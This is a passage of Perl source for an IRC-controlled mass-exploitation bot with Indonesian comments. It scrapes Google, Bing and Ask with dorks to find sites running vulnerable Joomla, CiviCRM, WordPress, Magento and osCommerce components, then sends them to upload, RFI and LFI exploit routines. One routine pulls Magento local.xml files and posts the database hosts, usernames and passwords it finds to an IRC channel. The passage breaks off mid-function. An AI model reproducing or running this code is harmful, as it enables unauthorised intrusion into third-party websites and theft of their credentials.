$dork "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,23,$nick); } } } if ($msg =~ /^$jinc2\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,24,$nick); } } } if ($msg =~ /^$maianmedia\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,25,$nick); } } } if ($msg =~ /^$maianmedia2\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,26,$nick); } } } if ($msg =~ /^$joomleague\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/components/com_joomleague/assets/classes/open-flash-chart/ofc_upload_image.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,27,$nick); } } } if ($msg =~ /^$joomleague2\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("administrator/components/com_joomleague/assets/classes/open-flash-chart/ofc_upload_image.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,28,$nick); } } } if ($msg =~ /^$civicrm\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,20,$nick); } } } if ($msg =~ /^$civic\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,29,$nick); } } } if ($msg =~ /^$civicrmcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Loading "); &se_start($path,$bug,$simpan,$dork,$engine,30,$nick); } } } if ($msg =~ /^$wpeventcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/wp-content/plugins/php-event-calendar/server/classes/uploadify.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Bismillah "); &se_start($path,$bug,$simpan,$dork,$engine,31,$nick); } } } if ($msg =~ /^$wpdocmancmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/wp-admin/edit.php?post_type=forum&page=gdbbpress_attachments&tab=",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Bismillah "); &se_start($path,$bug,$simpan,$dork,$engine,32,$nick); } } } if ($msg =~ /^$rficmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ($1,$3); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Bug & Dork4<9=4>15 $bug "); &msg("$path","9Search Engine 4<9=4>15 Bismillah "); &se_start($path,$bug,$simpan,$dork,$engine,33,$nick); } } } if ($msg =~ /^$lficmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ($1,$3); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Bug & Dork4<9=4>15 $bug "); &msg("$path","9Search Engine 4<9=4>15 Bismillah "); &se_start($path,$bug,$simpan,$dork,$engine,36,$nick); } } } if ($msg =~ /^$oscocmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("admin/categories.php/login.php?cPath=&action=new_product_preview",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Bismillah "); &se_start($path,$bug,$simpan,$dork,$engine,34,$nick); } } } if ($msg =~ /^$oscocmd2\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("admin/file_manager.php/login.php",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Bismillah "); &se_start($path,$bug,$simpan,$dork,$engine,35,$nick); } } } if ($msg =~ /^$cebongcmd\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my ($bug,$dork) = ("/fotogalerie.php?id=",$1); my $simpan = 'sess_situs.txt'; #&msg("$admin","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan di 4$path "); &msg("$path","9Dork 4<9=4>15 $dork "); &msg("$path","9Search Engine 4<9=4>15 Bismillah "); &se_start($path,$bug,$simpan,$dork,$engine,37,$nick); } } } } } for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line = $line_temp.$line if ($line_temp); $line_temp = ''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } ################################################################################## sub lobex() { my $dork = $_[0]; my @targets; for (my $st=0; $st<=1000 ; $st+=100){ my $engine = "https://www.google.com/search?q=".&key($dork)."&num=100&start=".$st; my $browser = &search_engine_query($engine); while ($browser =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $target = $1; if ($target !~ /google|forum|stackoverflow|php\.net/) { my @sort = split(/\.php/,$target); push (@targets,$sort[0]); } } } return @targets; } sub cari() { my $chan = $_[0]; my $dork = $_[1]; my $count = 0; my @kotor = &Goo1($dork); my @target = &clean(@kotor); my $num = scalar(@target); &msg($chan,"$carilogo9 Total 4[15$num4]9 sites"); if ($num > 0) { foreach my $site(@target) { $count++; if ($count == $num-1) { &msg("$chan","$carilogo9Finished 15for 9$dork "); } my $xpl = "http://".$target."/app/etc/local.xml"; my $re = getcontent($xpl); if ( $re =~ m/<host>(.*)<\/host>/g) { sendraw($IRC_cur_socket, "PRIVMSG $channel :4 ".$hasil." 14[+]server:4 $1"); } if ( $re =~ m/<username>(.*)<\/username>/g) { sendraw($IRC_cur_socket, "PRIVMSG $channel :4 ".$hasil." 14[+]user:4 $1"); } if ( $re =~ m/<password>(.*)<\/password>/g) { sendraw($IRC_cur_socket, "PRIVMSG $channel :4 ".$hasil." 14[+]pass:4 $1"); } if ( $re =~ m/<dbname>(.*)<\/dbname>/g) { sendraw($IRC_cur_socket, "PRIVMSG $channel :4 ".$hasil." 14[+]dbname:4 $1"); } sleep(1); } } } sub type() { my ($chan,$bug,$simpan,$dork,$engine,$type,$nick) = @_; if ($type == 1){$type=&tim_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} #elsif ($type == 2){$type=&tim_xploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 3){$type=&wordpress_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 4){$type=&hd_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 5){$type=&jd_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 6){$type=&jce_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 7){$type=&magento_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 8){$type=&whm_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 9){$type=&magmi_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 10){$type=&amu_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 11){$type=&amuc_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 12){$type=&jce2_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 13){$type=&updfy_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 14){$type=&magentpxml_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 15){$type=&zimbra_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 16){$type=&zimbraup_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 17){$type=&woopra_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 18){$type=&slimcmd_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 19){$type=&seocmd_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 20){$type=&civicrm_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 21){$type=&acymailing_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 22){$type=&acymailing2_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 23){$type=&jinc_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 24){$type=&jinc2_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 25){$type=&maianmedia_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 26){$type=&maianmedia2_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 27){$type=&joomleague_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 28){$type=&joomleague2_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 29){$type=&civic_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 30){$type=&civicrmcmd_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 31){$type=&wpeventcmd_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 32){$type=&wpdocmancmd_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 33){$type=&rfi_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 34){$type=&osco($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 35){$type=&osco2($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 36){$type=&lfi_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} elsif ($type == 37){$type=&cebong_exploit($chan,$bug,$simpan,$dork,$engine,$nick);} } ################################################################################## sub se_start() { my ($chan,$bug,$simpan,$dork,$engine,$type,$nick) = @_; if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeCA",$type,$nick); } exit; } } if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeDE",$type,$nick); } exit; } } if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeUK",$type,$nick); } exit; } } if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeFR",$type,$nick); } exit; } } if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeES",$type,$nick); } exit; } } if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeIT",$type,$nick); } exit; } } if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeNL",$type,$nick); } exit; } } if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeBE",$type,$nick); } exit; } } if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeCH",$type,$nick); } exit; } } if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeSE",$type,$nick); } exit; } } if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeDK",$type,$nick); } exit; } } if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeNO",$type,$nick); } exit; } } if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeNZ",$type,$nick); } exit; } } if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeIE",$type,$nick); } exit; } } if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeBR",$type,$nick); } exit; } } if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeAR",$type,$nick); } exit; } } if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeCO",$type,$nick); } exit; } } if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeCU",$type,$nick); } exit; } } if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeCL",$type,$nick); } exit; } } if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeMX",$type,$nick); } exit; } } if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeAU",$type,$nick); } exit; } } if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeRU",$type,$nick); } exit; } } if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeAT",$type,$nick); } exit; } } if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLePL",$type,$nick); } exit; } } if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeIL",$type,$nick); } exit; } } if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeTR",$type,$nick); } exit; } } if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeUA",$type,$nick); } exit; } } if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeGR",$type,$nick); } exit; } } if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeJP",$type,$nick); } exit; } } if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeCN",$type,$nick); } exit; } } if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeMY",$type,$nick); } exit; } } if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeTH",$type,$nick); } exit; } } if ($engine =~ /googleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeIN",$type,$nick); } exit; } } if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeKR",$type,$nick); } exit; } } if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeRO",$type,$nick); } exit; } } if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeTW",$type,$nick); } exit; } } if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeZA",$type,$nick); } exit; } } if ($engine =~ /googlePT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLePT",$type,$nick); } exit; } } if ($engine =~ /askCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKCA",$type,$nick); } exit; } } if ($engine =~ /askDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKDE",$type,$nick); } exit; } } if ($engine =~ /askIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKIT",$type,$nick); } exit; } } if ($engine =~ /askFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKFR",$type,$nick); } exit; } } if ($engine =~ /askES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKES",$type,$nick); } exit; } } if ($engine =~ /askRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKRU",$type,$nick); } exit; } } if ($engine =~ /askNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKNL",$type,$nick); } exit; } } if ($engine =~ /askUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKUK",$type,$nick); } exit; } } if ($engine =~ /askBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKBR",$type,$nick); } exit; } } if ($engine =~ /askPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKPL",$type,$nick); } exit; } } if ($engine =~ /askAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKAU",$type,$nick); } exit; } } if ($engine =~ /askAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKAT",$type,$nick); } exit; } } if ($engine =~ /askJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKJP",$type,$nick); } exit; } } if ($engine =~ /askSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKSE",$type,$nick); } exit; } } if ($engine =~ /askMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKMX",$type,$nick); } exit; } } if ($engine =~ /askNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKNO",$type,$nick); } exit; } } if ($engine =~ /askDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKDK",$type,$nick); } exit; } } if ($engine =~ /bingDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingDE",$type,$nick); } exit; } } if ($engine =~ /bingUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingUK",$type,$nick); } exit; } } if ($engine =~ /bingCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingCA",$type,$nick); } exit; } } if ($engine =~ /bingBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingBR",$type,$nick); } exit; } } if ($engine =~ /bingFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingFR",$type,$nick); } exit; } } if ($engine =~ /bingES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingES",$type,$nick); } exit; } } if ($engine =~ /bingIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingIT",$type,$nick); } exit; } } if ($engine =~ /bingBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingBE",$type,$nick); } exit; } } if ($engine =~ /bingNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingNL",$type,$nick); } exit; } } if ($engine =~ /bingPT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingPT",$type,$nick); } exit; } } if ($engine =~ /bingNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingNO",$type,$nick); } exit; } } if ($engine =~ /bingDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingDK",$type,$nick); } exit; } } if ($engine =~ /bingSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingSE",$type,$nick); } exit; } } if ($engine =~ /bingCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingCH",$type,$nick); } exit; } } if ($engine =~ /bingNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingNZ",$type,$nick); } exit; } } if ($engine =~ /bingRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingRU",$type,$nick); } exit; } } if ($engine =~ /bingJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingJP",$type,$nick); } exit; } } if ($engine =~ /bingCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingCN",$type,$nick); } exit; } } if ($engine =~ /bingKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingKR",$type,$nick); } exit; } } if ($engine =~ /bingMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingMX",$type,$nick); } exit; } } if ($engine =~ /bingAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingAR",$type,$nick); } exit; } } if ($engine =~ /bingCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingCL",$type,$nick); } exit; } } if ($engine =~ /bingAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingAU",$type,$nick); } exit; } } if ($engine =~ /ae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AE",$type,$nick); } exit; } } if ($engine =~ /ar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AR",$type,$nick); } exit; } } if ($engine =~ /at/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AT",$type,$nick); } exit; } } if ($engine =~ /au/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AU",$type,$nick); } exit; } } if ($engine =~ /br/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BR",$type,$nick); } exit; } } if ($engine =~ /ca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CA",$type,$nick); } exit; } } if ($engine =~ /cl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CL",$type,$nick); } exit; } } if ($engine =~ /cn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CN",$type,$nick); } exit; } } if ($engine =~ /com/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CoM",$type,$nick); } exit; } } if ($engine =~ /cz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CZ",$type,$nick); } exit; } } if ($engine =~ /de/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { 